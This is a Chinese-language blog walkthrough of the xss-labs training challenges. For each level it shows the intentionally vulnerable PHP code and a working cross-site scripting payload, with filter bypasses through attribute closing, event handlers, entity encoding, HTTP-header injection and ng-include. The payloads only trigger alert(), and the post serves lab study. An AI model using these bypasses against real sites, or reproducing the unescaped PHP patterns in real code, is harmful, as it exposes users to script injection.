xss-labs

xss-labs

level-1(url中get传参—JS弹窗函数alert())

image-20231030214920524

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

利用get方式去获取name值,然后直接回显到浏览器当中。所以尝试直接插入payload:

1
<script>alert('xss')</script>

level-2(闭合绕过 )

image-20231030215003332

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
1
2
3
.htmlspecialchars($str)

把 < 和 > 转换为实体,常用于防止浏览器将其用作 HTML 元素。当用户有权在您的页面上显示输入时,对于防止代码运行非常有用。

直接提交<script>alert('xss')</script>未弹窗

查看网页源码

image-20231030215325591

<h2></h2>标签之中的恶意代码被编码了。其中<、>都被编码成了html字符实体。

往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回的

只能从属性值中的恶意代码处进行突破了。要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。

payload:

1
"><script>alert('xss')</script> //

结果:<input name=keyword value="" > <script>alert('xss')</script> //">

level-3(onfocus/onBlur事件绕过)

image-20231030215712428

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

第二关的漏洞被堵上

onfocus/onBlur事件绕过

onFocus事件就是当光标落在文本框中时发生的事件。

onBlur事件是光标失去焦点时发生的事件。

总体思路就是,直接改造原有结构,赋予搜索按钮不同的用途。

payload:

1
' onfocus=javascript:alert('x') '

成功,陷入了一个死循环,点击输入框,输入框获得焦点,触发alert,这个时候输入框失去焦点,但是点击确定以后输入框就又获得了焦点,又再次弹出。

1
' onBlur=javascript:alert('x') '

level-4(onfocus/onBlur事件绕过)

image-20231030221253810

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

先将变量捕获,替换<>为空字符,再利用htmlspecialchars函数“净化”。还是上一关的姿势,只不过上一关当中注释是用的单引号,这一关换双引。

payload:

1
" onBlur=javascript:alert('x') "

level-5(href标签构建)

image-20231030221332426

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

script跟on被拆了

大小写结合被拦截(strtolower已经将字符串转换为了小写)

a-href标签法

href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,可以是转跳到一个网站,还可以触发执行一段js代码

1
<a href=javascript:alert('x')>xxx</a>

想办法插入

payload:

1
"> <a href=javascript:alert('x')>xxx</a> "

level-6(大小写绕过)

image-20231030221714062

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

没有strtolower函数,没过滤大小写。

payload:

1
"> <a Href=javascript:alert('x')>xxx</a> "

level-7(关键字复写绕过)

image-20231030221900971

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);//大小写转换
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

关键字只检测过滤一次

payload:

1
"> <a hrhrefef=javascscriptript:alert('x')>xxx</a> "

level-8(href隐藏属性绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>

<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>

</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

先进行大小写转换,然后各种关键字打乱,最后双引还给标签实体化了

href的一个隐藏的属性:href在调用openurl传参时会自动进行解码

payload

1
2
3
javascript:alert('x')
//Unicode转ASCII
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#39;&#41;

https://tool.chinaz.com/tools/unicode.aspx

level-9(href隐藏属性绕过)

image-20231031154938873

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

payload:

1
2
3
javascript:alert('http://')
绕过检验链接合法步骤,可以直接将http://暴漏在外,所以不对其进行Unicode编码处理。
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#39;&#41;//http://

level-10(猜解参数名)

image-20231031155331765

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="text">
</form>
</center>';
?>

输入框被hidden了,我们把type改成 text即可

image-20231031155746234

payload:

1
?t_sort=" type="text" onclick="alert('xss')

level-11(http头传值)

image-20231031162938096

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

查看源码

image-20231031163242642

referer头也成了输出参数,我们从这个下手,打开postman 或者 burpsuite,将payload写到referer里

payload:+

1
" type="text" onmousemove="alert(1)

level-12(User-Agent头传值)

image-20231031163505883

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];//获取用户客户端属性
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

与11关同理

payload:

1
" type="text" onmousemove="alert(1)

level-13(Cookie传值)

image-20231031163733009

与11关同理

payload:

1
" type="text" onmousemove="alert(1)

改Cookie为

1
user=" type="text" onmousemove="alert(1)

level-14(exif xss)

image-20231031164108718

正常需要网站操作,网站崩了

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键进入属性页面查看部分信息。

payload:

img

level-15(ng-include包含)

image-20231031164617749

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
1
2
3
4
5
6
7
8
9
10
AngularJS ng-include 指令**

*ng-include* 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

*ng-include* 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。也就相当于php里面的include

将之前关卡进行包含,然后通过该关卡触发弹窗,触发level-15关的通关条件。

1
http://0edf89bf-3f9d-4825-b2b2-9c15a35f7c0d.node4.buuoj.cn:81/level15.php?src=%27level2.php%27
1
"><script>alert('xss')</script>'

但转至第三关

因为引用了第一关源代码,当搜索框中点击提交,会显示回显的页面,这个时候由于代码植入到了查询结果页面,所以触发了弹窗,导致直接触发了其本身的函数。跳转到了第三关当中。

既然可以引用页面,那可不可以引用一个在页面解析过程中就会直接运行*alert*函数的页面呢?

访问level2.php在页面解析的时候就插入一张图片,故意写错src地址,请求不到相应的图片会报错,onerror触发alert函数。这就不存在跳转的问题了。

payload:

1
http://0edf89bf-3f9d-4825-b2b2-9c15a35f7c0d.node4.buuoj.cn:81/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

level-16(%0d回车换行绕过)

image-20231031165950153

1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

替换了script、/、空格,只能用onerror、onblur这类型的函数进行绕过了。

1、“0D”是把光标移到同一行的顶头——回车(CR)。

2、“0A”是把光标移到下一行——换行(LF)。

使用替身,就是将%0a或者%0D当成空格使用,在HTML中这样是合法的。

1
?keyword=<img%0dsrc=1%0donerror=alert(1)>

level-17(onmouseover标签的灵活运用)

image-20231031171437870

1
2
3
4
5
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>

GET方法得到的参数经过htmlspecialchars()函数转义后复制给embed标签的src值。

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在,就能有块错误的区域

可以用onclick或onmouseover绕过。因为这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onclick或onmouseover看作另外一个属性。

1
?arg01=a&arg02=b onmousemove='alert(1)'

level-18(拼接绕过)

image-20231031172003900

1
2
3
4
5
6
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>

与上一关同理

1
?arg01=a&arg02=b onmousemove='alert(1)'

level-19(flash xss)不会

image-20231031172144223

上两关payload不行了,源码把上面漏洞闭合了,加了一对双引号,绕不出去了

level-20(flash xss)


xss-labs
http://example.com/2023/10/30/刷题/xss-labs/
作者
Englobe
发布于
2023年10月30日
许可协议